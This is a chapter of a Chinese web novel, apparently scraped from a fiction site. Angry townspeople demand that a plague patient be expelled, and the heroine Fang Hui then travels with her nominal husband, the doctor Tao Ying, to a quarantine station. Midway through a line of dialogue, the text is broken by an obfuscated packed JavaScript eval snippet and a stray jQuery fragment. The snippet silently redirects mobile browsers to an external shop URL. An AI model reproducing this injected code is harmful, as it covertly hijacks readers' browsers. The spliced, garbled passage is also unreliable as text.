文趣网 > 其他小说 > 脆皮苟活日常 > 8. 骚动
    陶府一片嘈杂,方洄赶到时,就看见府门外聚满了人,手中举着锄头、扁担,高声怒骂着让陶楹交人,还有些手持木棍拍打陶府院墙,眼看要冲进陶府。

    刘管家连同十几个仆从拦在前面,试图与其理论。

    “每日进出我焉能不知,府里真没有你们说的人呐!”刘管家无奈。

    “那就是藏在别处了,让我们进去搜!”

    “对!进去搜!私送疫人进城,是想害死满城老小!”

    “就是!官府早有明令,疫者不许进城,陶大夫怎能私自破例!”

    ……

    应该是关于阿寿的事,没想到消息传的这么快,眼见刘管家一个人应付不得,方洄终于出了面,场面一时安静下来。

    “众位乡邻何事来府上?”

    为首的耆老见状,放下激愤,上前一步恳切道:“陶二夫人,如今坊间皆传,陶大夫私自收留染了时疫之人在府上安置,眼下瘟疫来势汹汹,官府早已严令病患不得踏入昌都半步,一旦疫病传开,家家户户闭门也挡不住。陶大夫宅心仁厚想要救人,情理尚可体谅,可一城百姓身家性命全系于此,还望陶二夫人顾念全城苍生,即刻将疫人移送出城。”

    眼见耆老如此笃定,必然听到了风声,方洄倒没否认,只道:“众位焦躁,我完全理解。只是夫君并非违反禁令,早在官府封禁前已收留病患,不是刻意接他入城。如今收留之人也不在府上,被隔离在偏僻别院,由专人照应,与城内不通往来,众位无需担心疫毒会泄过来。”

    “你说泄不过来就泄不过来啊!”有人立马不满,“昌都城就这么大,凭空住进一个带疫病的人,往后夜里觉都睡不着!”

    “就是说!”有人紧跟着附和,“陶大夫想救人也要有分寸,不能拿全城人的性命开玩笑!”

    方洄想起了方才在书上看到的瘟疫传播途径,暗暗与阿寿所在之处对比后,冷静安抚:“别院隔绝严密,院内设有药汤熏蒸,水源、吃食也单独取用,与城中井水不通,没有散播瘟疫的可能。”

    反倒是隔壁昌平,与昌都仅一墙之隔,即便官兵重重把守,也显然是更加危险的存在。

    来人显然听不进去,一味叫嚣着让陶府交出疫者,更有甚者主张将阿寿烧死以绝后患,刘管家竭力率人压制,也抵不过人多势众。

    眼见一群人势头猛烈,大有破门而入的架势,白薇、晚樱忙将方洄护住后退到一角,生怕她被来人的器械打到。

    正当群情激奋时,陶楹终于在人群中露面。

    他先走到方洄面前,握住她的手轻拍两下,无声安抚,尔后才面向众人高声道:“诸位乡亲,是我思虑不周,引得全城惶恐。三日之内,我定将病患送至城外,还请各位安心归家。”

    有人高喊:“你这几日与疫人往来甚密,谁知道你有没有染上,让我们怎么安心!”

    在这声提醒下,原本沉寂的人群似是苏醒过来,议论声再度炸开,不少人面露异色,还有人悄悄往后退了退,用衣袖掩住口鼻。

    “我会与疫者同去,”回来的路上陶楹便做好了决定,“各位不必惊惧。”

    语毕,他转身扶方洄进门,门外的人又逗留了会儿,亦各自散去。

    陶楹在书房收拾卷宗书籍时,方洄就抱着阿贝贝窝在一旁的罗汉塌上发呆。

    据侍女形容,半个昌都城的人都来医馆看过病,平日她虽很少出内院,也时常见到被陶楹治愈的病患提着东西来谢,言辞间皆是恭谨。

    如今全副武装赶走陶楹的,也是他们。

    对于人情的淡薄,她虽了然于心,亲身经历时又总受其扰,所以她对别人才难付真心。

    陶楹见她若有所思,劝解道:“昌平疫病日重,朝廷征召本地郎中义诊,我早有此心。”

    方洄目光发直,下巴垫在阿贝贝脑袋上,兀自出神:“我们清早才去别院,下午便有一群人围过来,速度也太快了,看来将阿寿接来,果然戳中了他们的要害,才让对方这般急不可耐。”

    陶楹赞同:“亦白寻到阿寿的速度确实很快。”

    方洄暗暗发笑,这一回合江亦白头功。

    原本对方设想的应当是让阿寿夫妇染上疫疾,横死山野,没想到半路杀出个江亦白,将二人截胡,完全打乱了对方的计划,这才出此下策。

    这个幕后黑手,多半是想将陶楹和阿寿夫妇一同赶去疫区送命。

    方洄道:“现在这招,可见对方多忌惮你的医术,生怕你将阿寿医好。”

    “药方如今还没有头绪,”陶楹拿起一本医术,思量着要不要放入箱子,“若真能配出治愈疫毒的方子,也能真正减少疫患的痛苦。”

    他已传信给师傅请教,奈何至今都没收到回信,许是又钻到哪个深巷吃酒去了。

    方洄的视线慢慢聚焦,盯着陶楹忙碌的身影,做了个决定:“我想跟你同去。”

    陶楹身形一滞,在他发话之前,方洄又接着道:“放心,我多喝两碗药,增强抵抗力,不给你拖后腿。”

    陶楹面露忧色,“疫区凶险,你还是……”

    方洄摆手,打断了他:“你说我能活三年,寿命还没到呢,阎王爷总不会不遵守约定,这么快将我收了。倒是这群乡邻,不知哪日又会发神经,围到府前说我也跟你接触过,将我也赶跑,毕竟我是那幕后黑手的一号关注对象,还不如现在就与你同去。”

    见陶楹还在思索,她继续劝慰:“我们名义上也是夫妻,自然要同甘共苦,再说我也想亲眼见到阿寿醒来,告诉我究竟是谁这么害我。”

    陶楹的神情终于松动,方洄见大事已成,乐颠颠跑过来将怀里的阿贝贝塞进一旁的箱子。

    陶楹有些好笑:“它也要带吗?”

    “当然。”方洄呲牙一笑,“它可是福多多,保佑我们逢凶化吉的。”

    .

    打点好一切,二人便坐上了马车,除了仓木赶车,没带任何侍女。

    陶楹将水壶拧开,递给方洄,里面是避疫的药汤。

    方洄接过,只喝了一口便皱着脸再难下咽,想起怀里还有江亦白赞助的果脯,她不禁心安了些,忍痛又灌了几口,狼狈地将水壶推给陶楹,赶紧掏出杏脯塞了满嘴。

    陶楹见状,笑着也喝了几口,又将水壶收好。

    方洄很好心地将果脯递给他,却又被陶楹摆手拦了回来,眼见他神色如常,方洄也没再推让。

    待口中苦味淡下去,方洄才嚼着杏脯开口:“不愧是医生,喝药的本事都比寻常人强百倍。”

    陶楹只关切道:“无人照料,你可习惯?”

    方洄拍了拍手,将剩余的杏脯塞了回去,“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773504|209968||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    有人照料我才不习惯。”

    一开始她的确挺享受衣来伸手饭来张口的日子,但时间久了,侍女过于强烈的主仆意识总会让她产生不适,每当白薇和晚樱帮她做这做那,存在感过强的道德意识就会将她的心疯狂碾压。

    果然是牛马当久了,被奴役惯了,身份调转过来她就不能适应,平时能自己做的也绝不麻烦侍女。

    “我没那么娇气,昌平疫气严重,这一趟也不知道会发生什么,怎么好让两个如花似玉的姑娘跟着我冒险。”

    她虽想着生死有命富贵在天,对自己并不惜命,却也没有权力决定他人的生死,陶府才是安全区,所以即便白薇和晚樱好劝歹劝,她还是拒了二人,让她们安心在家等她。

    “此去确实凶险,我会竭力护你周全。”

    “我相信你,”方洄道,“我就是相信你才跟来的。”

    或许是很久没出远门了,虽是去疫区,方洄的心情却并不紧张,也或许是身边有陶楹陪着,莫名让她安心。

    昌平距离昌都仅四十里,一行人上午出发,按照往日的行程,傍晚便可抵达。但为了照顾阿寿,车马特意放慢了速度,等到了昌平城外隔离疫所,时间已至深夜。

    陶楹将自己和方洄包裹结实,在夜色中下了马车。

    迎面便是疫所大门,一阵冷风袭来,方洄不觉裹了裹外袍,即使隔着布巾,也能闻到空气中氤氲着一股浓烈的烟气。

    一位管事老仆提着灯笼来接,将二人领进内院,安置在一间屋舍,阿寿夫妇则被带往别处。

    方洄走进去,发现房屋空间不大,家具陈设也极简陋,唯一的照明物是桌角的蜡烛,光线十分昏暗。

    老仆将行装帮忙拎进来,简单嘱咐几句便离开了,仓木也去往隔壁与他人同住,屋中只剩二人。

    在外人看来,他们既是夫妻,便没有分房而居的道理,住一起理所应当。

    方洄瞧着并不宽绰的床,有些疲惫,四处也没有其他可以下榻的地方,以陶楹绅士的性子,肯定会让她睡床,自己睡地上,她望了眼乌漆嘛黑的地砖,直觉很潮。

    若她没来,陶楹独居一室,睡床便理所应当,她来了反而将他的安歇之处占了,这可不是她的目的。她相帮陶楹才过来,不是为了添麻烦。

    就当他是块木头吧,方洄想,也不要矫情地弄什么分界线了,和衣而睡又有什么关系,只是阿贝贝可能没空间了,只能睡床下。

    于是她不再纠结,望着正弯腰从箱箧里取东西的陶楹,主动道:“一起睡床吧。”

    她说罢便浑身疲软地往床上一躺,坐了一天马车,整个人都散架了,如今筋骨终于有了地方安放,顿觉活了过来,困意也随之袭来。

    她打了个哈欠,困倦地翻了个身,含糊不清道:“地上太潮了,咱俩都睡床上。”说话间已经闭上了眼睛。

    陶楹回头看时,只听她呼吸均匀,已经睡着了。

    他轻笑着摇了下头,走近方洄,将她鞋子摘了,又把她的身子在床上抱正。

    感受到陶楹的动作,方洄在困乏中微微睁开眼睛,不放心地再次咕嘟道:“你记得睡床。”

    “好。”陶楹轻声道,“你先睡。”他扯过被子,为方洄盖好。

    方洄听到他的应答,这才安心,意识再度迷离,很快进入梦乡。